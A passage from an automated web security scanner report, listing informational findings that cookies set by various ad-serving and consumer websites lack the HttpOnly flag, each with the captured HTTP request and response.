Cookie: eyeblaster=BWVal=2657&BWDate=40580.359340&debuglevel=&FLV=10.1103&RES=128&WMPV=0; B3=7lgH0000000001sG89PS000000000QsZ89PT000000000.sZ8mb20000000001t48i440000000001t28bwx0000000001t482790000000002t5852G0000000003sS8qav0000000001t57dNH0000000002sZ84ZE0000000001t67GHq0000000001s.7FCH0000000001s.84ZF0000000002t683xP0000000001sF8cVQ0000000001sV82980000000001t3852N0000000001s.84U10000000001t687ma0000000001s.6o.Q0000000001sY7gi30000000001sG8i430000000001t2852z0000000001sS852A0000000001sS; A3=f+JvabEk02WG00002h5iUabNz07l00000Qh5j3abNz07l00000.gLnTaeKR09sO00001gYyfadw90cvM00001gn3Ka4JO09MY00001gNfHaaiN0aVX00001fU+La50V0a+r00001gL2MadKj0bdR00001gYRSaeKR09sO00001gFjwaeKR09sO00001gKXMaepH0bdR00001h802ae7k0c6L00001fUFGa50V02WG00001gYx+adw90cvM00001gKXNaepP0bdR00001gy3.ach00c9M00001gHrHaeKS09sO00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gy5Da9bU0c9M00001gCTVa9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001ge4Hack+0bM000001gNQ4ae7r0c9M00001; u2=1f5940fe-c0d1-459f-8c91-e4475c881fca3Gz010; C4=; ActivityInfo=000p81bCx%5f; u3=1;

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Length: 0
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Set-Cookie: eyeblaster=BWVal=2657&BWDate=40580.359340&debuglevel=&FLV=10.1103&RES=128&WMPV=0; expires=Sat, 07-May-2011 11:00:06 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: u2=1f5940fe-c0d1-459f-8c91-e4475c881fca3Gz01g; expires=Sat, 07-May-2011 11:00:06 GMT; domain=.serving-sys.com; path=/
Set-Cookie: C_=BlankImage
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 06 Feb 2011 16:00:06 GMT
Connection: close

15.234. http://bs.serving-sys.com/BurstingPipe/adServer.bs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

eyeblaster=BWVal=408&BWDate=40573.510532&debuglevel=&FLV=10.1103&RES=128&WMPV=0; expires=Sat, 07-May-2011 08:21:31 GMT; domain=bs.serving-sys.com; path=/
A3=gLnTaeKR09sO00001h5j3abNz07l00000.h5iUabNz07l00000Qf+JvabEk02WG00002gNfHaaiN0aVX00001gn3Ka4JO09MY00001gYyfadw90cvM00001gL2MadKj0bdR00001fU+La50V0a+r00001h802ae7k0c6L00001gKXMaepH0bdR00001gKXNaepP0bdR00001gYx+adw90cvM00001fUFGa50V02WG00001gy3.ach00c9M00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gCTVa9bU0c9M00001gy5Da9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001gNQ4ae7r0c9M00001ge4Hack+0bM000001; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/
B3=89PS000000000QsZ7lgH0000000001sG89PT000000000.sZ8bwx0000000001t48i440000000001t28mb20000000001t4852G0000000003sS82790000000002t57dNH0000000002sZ8qav0000000001t57GHq0000000001s.7FCH0000000001s.8cVQ0000000001sV83xP0000000001sF82980000000001t384U10000000001t6852N0000000001s.6o.Q0000000001sY87ma0000000001s.8i430000000001t27gi30000000001sG852z0000000001sS852A0000000001sS; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/
u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2117121&PluID=0&e=0&w=728&h=90&ord=7582024&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3aa6/3/0/%2a/m%3B235470018%3B0-0%3B0%3B23542470%3B3454-728/90%3B40150909/40168696/1%3Bu%3Dzdtopic%3Ditmanagement|zdtopic%3Denterprise|zdtopic%3Dintelligence|zdid%3Da6280|zdtype%3Darticle|zdaudience%3D|zdproduct%3D|zdcompany%3D|zdpagetype%3D%3B%7Eaopt%3D2/0/73/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: u3=1; C4=; ActivityInfo=000p81bCx%5f; eyeblaster=BWVal=408&BWDate=40573.510532&debuglevel=&FLV=10.1103&RES=128&WMPV=0; A3=f+JvabEk02WG00002h5iUabNz07l00000Qh5j3abNz07l00000.gYyfadw90cvM00001gn3Ka4JO09MY00001gNfHaaiN0aVX00001fU+La50V0a+r00001gL2MadKj0bdR00001gKXMaepH0bdR00001h802ae7k0c6L00001fUFGa50V02WG00001gYx+adw90cvM00001gKXNaepP0bdR00001gy3.ach00c9M00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gy5Da9bU0c9M00001gCTVa9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001ge4Hack+0bM000001gNQ4ae7r0c9M00001; B3=7lgH0000000001sG89PS000000000QsZ89PT000000000.sZ8mb20000000001t48i440000000001t28bwx0000000001t482790000000002t5852G0000000003sS8qav0000000001t57dNH0000000002sZ7GHq0000000001s.7FCH0000000001s.83xP0000000001sF8cVQ0000000001sV82980000000001t3852N0000000001s.87ma0000000001s.6o.Q0000000001sY7gi30000000001sG8i430000000001t2852z0000000001sS852A0000000001sS; u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: eyeblaster=BWVal=408&BWDate=40573.510532&debuglevel=&FLV=10.1103&RES=128&WMPV=0; expires=Sat, 07-May-2011 08:21:31 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: A3=gLnTaeKR09sO00001h5j3abNz07l00000.h5iUabNz07l00000Qf+JvabEk02WG00002gNfHaaiN0aVX00001gn3Ka4JO09MY00001gYyfadw90cvM00001gL2MadKj0bdR00001fU+La50V0a+r00001h802ae7k0c6L00001gKXMaepH0bdR00001gKXNaepP0bdR00001gYx+adw90cvM00001fUFGa50V02WG00001gy3.ach00c9M00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gCTVa9bU0c9M00001gy5Da9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001gNQ4ae7r0c9M00001ge4Hack+0bM000001; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=89PS000000000QsZ7lgH0000000001sG89PT000000000.sZ8bwx0000000001t48i440000000001t28mb20000000001t4852G0000000003sS82790000000002t57dNH0000000002sZ8qav0000000001t57GHq0000000001s.7FCH0000000001s.8cVQ0000000001sV83xP0000000001sF82980000000001t384U10000000001t6852N0000000001s.6o.Q0000000001sY87ma0000000001s.8i430000000001t27gi30000000001sG852z0000000001sS852A0000000001sS; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 06 Feb 2011 13:21:30 GMT
Connection: close
Content-Length: 2841

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...

15.235. http://buzz.yahoo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://buzz.yahoo.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

B=5u8ndkd6krkpl&b=3&s=t6; expires=Tue, 05-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: buzz.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.236. http://buzzport.gatech.edu/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://buzzport.gatech.edu
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

UserAgentId=-4483764115105998713; Path=/
fos.web.server=pecos1; Domain=.gatech.edu; Path=/
fos.secure.web.server=pecos1; Domain=.gatech.edu; Path=/; Secure
runId=-1193727274256550608; Domain=.gatech.edu; Path=/
BIGipServerbuzzweb=614518658.20480.0000; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: buzzport.gatech.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.237. http://c03.adsummos.net/a/e/d1.ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://c03.adsummos.net
Path:	/a/e/d1.ads

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

adsud=BLU0YPM; expires=Fri, 06 May 2011 22:25:47 GMT; path=/; domain=.adsummos.net;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.238. http://c03.adsummos.net/a/e/s21719 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://c03.adsummos.net
Path:	/a/e/s21719

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

adsuu=vmkju57YZhpA; expires=Thu, 04 Aug 2011 21:53:21 GMT; path=/; domain=.adsummos.net;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.239. http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0R8lWflQ0f_326769041.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ;Path=/;Domain=.w55c.net;Expires=Mon, 04-Feb-13 21:49:02 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /i/0R8lWflQ0f_326769041.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F8&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TU3FzQAEo-kK5XsU5TApbEC2JVNdMc7sOaGvXw&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZya1ZmSmN4QQ&ciu=MFI4bFdmbFEwZg&reqid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkM&ccw=SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjB8SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjA&epid=&bp=4400&dv=&dm=&dc=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fwww.orthougm.com%2F&refurl= HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=60&slotname=3865030659&w=468&lmt=1296964160&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2F&dt=1296942560320&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765&correlator=1296942560294&frm=0&adk=2257162608&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1263121855&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&fu=0&ifi=3&dtd=3&xpc=dnlnsmkeRR&p=http%3A//www.orthougm.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchrubicon=1; matchgoogle=1; matchappnexus=1; wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ

Response

15.240. http://clk.redcated/229/go/253329229/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://clk.redcated
Path:	/229/go/253329229/direct

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

AA002=001296946032-3966638; expires=Monday, 04-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
MUID=531E084363024CB3AD7955FF0ECDEFD5; expires=Wednesday, 24-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
ach00=f222/39a8; expires=Monday, 04-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
ach01=aafc23c/39a8/f197f4d/f222/4d4dd370; expires=Monday, 04-Feb-2013 00:00:00 GMT; path=/; domain=.redcated

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /229/go/253329229/direct HTTP/1.1
Host: clk.redcated
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.241. http://clk.redcated/MRT/go/258547606/direct/01/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://clk.redcated
Path:	/MRT/go/258547606/direct/01/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

AA002=001297008221-9205649; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
MUID=AD078C8713444B159EBF588D5E9AEA57; expires=Thursday, 25-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
ach00=12eae/39a8; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
ach01=ad483ed/39a8/f691f96/12eae/4d4ec65d; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /MRT/go/258547606/direct/01/ HTTP/1.1
Host: clk.redcated
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.242. http://clk.redcated/MRT/go/264255445/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://clk.redcated
Path:	/MRT/go/264255445/direct

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

AA002=001297008076-9187794; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
MUID=F8B2EA3DB6EE4E618E0DC34A30CB08FD; expires=Thursday, 25-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
ach00=903d/33f2; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
ach01=b0e4d02/33f2/fc037d5/903d/4d4ec5cc; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /MRT/go/264255445/direct HTTP/1.1
Host: clk.redcated
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.243. http://clk.redcated/MRT/go/267859374/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://clk.redcated
Path:	/MRT/go/267859374/direct

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

AA002=001297008076-9187674; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
MUID=8F39596F077049028597DA9B186C7374; expires=Thursday, 25-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
ach00=129ed/39a8; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
ach01=b32673d/39a8/ff735ae/129ed/4d4ec5cc; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /MRT/go/267859374/direct HTTP/1.1
Host: clk.redcated
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.244. http://clk.redcated/go/264255445/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://clk.redcated
Path:	/go/264255445/direct

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

AA002=001297008076-9187974; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
MUID=CD1476F5A3284B4D8A84956285B32A92; expires=Thursday, 25-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
ach00=903d/33f2; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
ach01=b0e4d02/33f2/fc037d5/903d/4d4ec5cc; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /go/264255445/direct HTTP/1.1
Host: clk.redcated
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Object moved
Cache-Control: no-store
Content-Length: 0
Expires: 0
Location: http://crm.dynamics.com/online?tabid=easy-to-use
P3P: CP="NOI DSP COR CUR ADM DEV TAIo PSAo PSDo OUR BUS UNI PUR COM NAV INT DEM STA PRE OTC"
Set-Cookie: AA002=001297008076-9187974; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: MUID=CD1476F5A3284B4D8A84956285B32A92; expires=Thursday, 25-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: ach00=903d/33f2; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: ach01=b0e4d02/33f2/fc037d5/903d/4d4ec5cc; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Connection: close
Date: Sun, 06 Feb 2011 16:01:16 GMT
Connection: close

15.245. http://clk.redcated/go/267859374/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://clk.redcated
Path:	/go/267859374/direct

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

AA002=001297008076-9188004; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
MUID=3E2F68EB98BD48E59A5080FE6FA42FD0; expires=Thursday, 25-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
ach00=129ed/39a8; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
ach01=b32673d/39a8/ff735ae/129ed/4d4ec5cc; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /go/267859374/direct HTTP/1.1
Host: clk.redcated
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Object moved
Cache-Control: no-store
Content-Length: 0
Expires: 0
Location: http://www.microsoft.com/en-us/cloud/default.aspx
P3P: CP="NOI DSP COR CUR ADM DEV TAIo PSAo PSDo OUR BUS UNI PUR COM NAV INT DEM STA PRE OTC"
Set-Cookie: AA002=001297008076-9188004; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: MUID=3E2F68EB98BD48E59A5080FE6FA42FD0; expires=Thursday, 25-Aug-2011 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: ach00=129ed/39a8; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Set-Cookie: ach01=b32673d/39a8/ff735ae/129ed/4d4ec5cc; expires=Tuesday, 05-Feb-2013 00:00:00 GMT; path=/; domain=.redcated
Connection: close
Date: Sun, 06 Feb 2011 16:01:16 GMT
Connection: close

15.246. http://corp.americanexpress.com/gcs/travel/us/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://corp.americanexpress.com
Path:	/gcs/travel/us/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=173.193.214.243--17320946090159; path=/; expires=Sat, 05-Feb-16 21:50:33 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /gcs/travel/us/ HTTP/1.1
Host: corp.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.247. http://counter.yadro.ru/hit previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://counter.yadro.ru
Path:	/hit

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

FTID=1DJSvH2tlD0r; path=/; expires=Sun, 05 Feb 2012 21:00:00 GMT; domain=.yadro.ru

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.248. http://d.mediabrandsww.com/r/dd/id/L21rdC8zL2NpZC8xNzk2NjkwL3QvMg/cat/267859374-193167493/qry/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://d.mediabrandsww.com
Path:	/r/dd/id/L21rdC8zL2NpZC8xNzk2NjkwL3QvMg/cat/267859374-193167493/qry/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

uid=2402274690891816433; Domain=.mediabrandsww.com; Expires=Fri, 05-Aug-2011 13:22:28 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.249. http://del.icio.us/post previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://del.icio.us
Path:	/post

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BX=e3vc5bl6kthec&b=3&s=cu; expires=Tue, 06-Feb-2013 20:00:00 GMT; path=/; domain=.icio.us

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /post HTTP/1.1
Host: del.icio.us
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.250. http://delicious.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://delicious.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BX=8q71c056krks9&b=3&s=ue; expires=Tue, 05-Feb-2013 20:00:00 GMT; path=/; domain=.delicious.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: delicious.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Date: Sat, 05 Feb 2011 22:47:37 GMT
Set-Cookie: BX=8q71c056krks9&b=3&s=ue; expires=Tue, 05-Feb-2013 20:00:00 GMT; path=/; domain=.delicious.com
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Location: http://www.delicious.com/
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Cache-Control: private
Age: 0
Connection: close
Server: YTS/1.19.4

The document has moved <A HREF="http://www.delicious.com/">here</A>.<P>

15.251. http://developer.yahoo.com/yui/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://developer.yahoo.com
Path:	/yui/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

B=bgfp9s16kthjh&b=3&s=lg; expires=Tue, 06-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /yui/ HTTP/1.1
Host: developer.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.252. http://developer.yahoo.com/yui/license.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://developer.yahoo.com
Path:	/yui/license.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

B=akvfcul6kthjh&b=3&s=mo; expires=Tue, 06-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /yui/license.html HTTP/1.1
Host: developer.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.253. http://developers.facebook.com/plugins/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://developers.facebook.com
Path:	/plugins/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lsd=ScgJn; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /plugins/ HTTP/1.1
Host: developers.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.254. http://digg.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://digg.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

traffic_control=1458898097449992448%3A180; expires=Sun, 06-Feb-2011 22:48:01 GMT; path=/; domain=digg.com
imp_id=09cd39ef92d662b1a46449631221ba4a1ccc65e0ba5370e554a37c4167065682; expires=Sun, 06-Feb-2011 22:48:01 GMT; path=/; domain=digg.com
d=18ab700b70cd82d138fdaabbb30d193f198bfa21bb579cbd5aa484d7589d3825; expires=Fri, 05-Feb-2021 08:55:41 GMT; path=/; domain=.digg.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: digg.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:48:01 GMT
Server: Apache
X-Powered-By: PHP/5.2.9-digg8
Location: /news
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
Set-Cookie: traffic_control=1458898097449992448%3A180; expires=Sun, 06-Feb-2011 22:48:01 GMT; path=/; domain=digg.com
Set-Cookie: imp_id=09cd39ef92d662b1a46449631221ba4a1ccc65e0ba5370e554a37c4167065682; expires=Sun, 06-Feb-2011 22:48:01 GMT; path=/; domain=digg.com
Set-Cookie: d=18ab700b70cd82d138fdaabbb30d193f198bfa21bb579cbd5aa484d7589d3825; expires=Fri, 05-Feb-2021 08:55:41 GMT; path=/; domain=.digg.com
X-Digg-Time: D=15688 10.2.129.157
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 0

15.255. http://digg.com/submit previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://digg.com
Path:	/submit

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

traffic_control=1168415921484595456%3A180; expires=Mon, 07-Feb-2011 16:01:17 GMT; path=/; domain=digg.com
d=706268b26d50b56ff990b1e51250b8f162ce88de7b3b2a5662d7a11ef0986e8f; expires=Sat, 06-Feb-2021 02:08:57 GMT; path=/; domain=.digg.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /submit HTTP/1.1
Host: digg.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.256. http://download32.us.intellitxt.com/al.asp previous next

Summary

Severity:	Information
